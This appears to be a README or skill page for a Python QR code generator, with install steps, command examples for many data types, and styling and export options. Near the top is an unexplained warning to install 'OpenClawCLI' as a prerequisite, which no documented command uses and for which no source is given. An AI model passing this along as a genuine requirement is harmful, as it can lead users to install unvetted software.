qr-code-generator

QR Code Generator

Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation:

# Standard installation
pip install qrcode[pil] segno

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno

Never use --break-system-packages as it can damage your system's Python installation.

---

Quick Reference

Task	Command
Basic URL QR code	python scripts/qr.py "https://example.com"
Text QR code	python scripts/qr.py --type text "Hello World"
WiFi QR code	python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret"
vCard contact	python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"
Custom colors	python scripts/qr.py "URL" --fg-color blue --bg-color white
With logo	python scripts/qr.py "URL" --logo logo.png
SVG format	python scripts/qr.py "URL" --format svg
Batch generation	python scripts/qr.py --batch urls.txt --output-dir qrcodes/

---

Core Features

1. Multiple Data Types

Generate QR codes for various data types with automatic formatting.

Supported Types:

• URL - Websites and web links
• Text - Plain text messages
• WiFi - WiFi network credentials
• vCard - Contact information (VCF format)
• Email - Email addresses with optional subject/body
• Phone - Phone numbers (tel: links)
• SMS - SMS messages with recipient and text
• Geo - Geographic coordinates
• Event - Calendar events (iCal format)
• Custom - Any custom data

2. Customization Options

Personalize QR code appearance:

• Foreground and background colors
• Custom error correction levels
• Border size adjustment
• Module size control
• Logo/image embedding

3. Multiple Export Formats

Export in various formats for different use cases:

• PNG - Raster images (default)
• SVG - Vector graphics (scalable)
• PDF - Print-ready documents
• EPS - Vector format for design tools
• Terminal - ASCII art for terminal display

4. Batch Processing

Generate multiple QR codes from:

• Text files (one entry per line)
• CSV files (with metadata)
• JSON files (with configuration)

---

Basic Usage

URL QR Codes

Generate QR codes for websites and links.

# Simple URL
python scripts/qr.py "https://example.com"

# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png

# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png

Output:

QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com

Text QR Codes

Encode plain text messages.

# Simple text
python scripts/qr.py --type text "Hello, World!"

# Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png

# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png

WiFi QR Codes

Create scannable WiFi credentials.

# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"

# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA

# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden

# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass

Security types: WPA, WEP, nopass

Output QR contains:

WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;

Contact Cards (vCard)

Generate vCard QR codes for easy contact sharing.

# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"

# Full contact details
python scripts/qr.py --type vcard \
  --name "Jane Smith" \
  --phone "+1234567890" \
  --email "[email protected]" \
  --organization "Tech Corp" \
  --title "Senior Developer" \
  --url "https://janesmith.com" \
  --address "123 Main St, City, State, 12345" \
  --output jane_contact.png

# Multiple phone numbers
python scripts/qr.py --type vcard \
  --name "Bob Johnson" \
  --phone "+1234567890" \
  --phone-home "+0987654321" \
  --email "[email protected]"

Generated vCard format:

BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD

Email QR Codes

Create mailto: links with optional subject and body.

# Simple email
python scripts/qr.py --type email --email "[email protected]"

# With subject
python scripts/qr.py --type email --email "[email protected]" --subject "Support Request"

# With subject and body
python scripts/qr.py --type email \
  --email "[email protected]" \
  --subject "Inquiry" \
  --body "I would like more information about..."

Output QR contains:

mailto:[email protected]?subject=Support%20Request&body=Message%20text

Phone Number QR Codes

Generate clickable phone links.

# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"

# International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"

Output QR contains:

tel:+1234567890

SMS QR Codes

Create pre-filled SMS messages.

# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"

# SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"

Output QR contains:

sms:+1234567890?body=Hello%20from%20QR%20code!

Geographic Location QR Codes

Encode GPS coordinates.

# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194

# With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10

# Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"

Output QR contains:

geo:37.7749,-122.4194

Calendar Event QR Codes

Generate iCalendar event QR codes.

# Basic event
python scripts/qr.py --type event \
  --event-title "Team Meeting" \
  --event-start "2024-03-15T14:00:00" \
  --event-end "2024-03-15T15:00:00"

# Full event details
python scripts/qr.py --type event \
  --event-title "Conference 2024" \
  --event-start "2024-06-01T09:00:00" \
  --event-end "2024-06-01T17:00:00" \
  --event-location "Convention Center, NYC" \
  --event-description "Annual tech conference" \
  --output conference_qr.png

---

Customization Options

Colors

Customize foreground and background colors.

# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color white

# Hex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"

# RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"

# Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png

Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray

Error Correction

Set error correction level (higher = more damage resistance).

--error-correction <L|M|Q|H>

Levels:

• L - Low (~7% recovery) - Use for digital display
• M - Medium (~15% recovery) - Default, good balance
• Q - Quartile (~25% recovery) - Use when adding logos
• H - High (~30% recovery) - Best for print, damaged surfaces

# Low (smallest QR code)
python scripts/qr.py "https://example.com" --error-correction L

# High (best for print with logo)
python scripts/qr.py "https://example.com" --error-correction H --logo company.png

Size and Border

Control QR code size and border width.

# Custom module size (box size in pixels)
python scripts/qr.py "URL" --box-size 20

# Custom border (modules)
python scripts/qr.py "URL" --border 2

# Large QR code
python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png

# Minimal QR code (no border)
python scripts/qr.py "URL" --border 0 --output minimal_qr.png

Defaults:

• Box size: 10 pixels
• Border: 4 modules (recommended minimum)

Logo Embedding

Add logos or images to QR codes.

# Add logo (center)
python scripts/qr.py "https://company.com" --logo company_logo.png

# Custom logo size (percentage of QR code)
python scripts/qr.py "URL" --logo logo.png --logo-size 20

# High error correction recommended with logos
python scripts/qr.py "URL" --logo logo.png --error-correction H

Logo tips:

• Use square or circular logos
• Keep logo size ≤ 30% of QR code
• Use high error correction (Q or H)
• Test scanning after adding logo

---

Export Formats

PNG (Default)

Raster image format, good for digital use.

python scripts/qr.py "https://example.com" --format png --output qr.png

Best for: Web, digital displays, simple sharing

SVG (Vector)

Scalable vector graphics, perfect for any size.

python scripts/qr.py "https://example.com" --format svg --output qr.svg

Best for: Print, design work, scaling to any size

PDF

Print-ready PDF documents.

python scripts/qr.py "https://example.com" --format pdf --output qr.pdf

Best for: Printing, documents, archival

EPS

Encapsulated PostScript for professional design tools.

python scripts/qr.py "https://example.com" --format eps --output qr.eps

Best for: Professional design software (Adobe Illustrator, etc.)

Terminal

Display QR code as ASCII art in terminal.

python scripts/qr.py "https://example.com" --format term

---

*Content truncated.*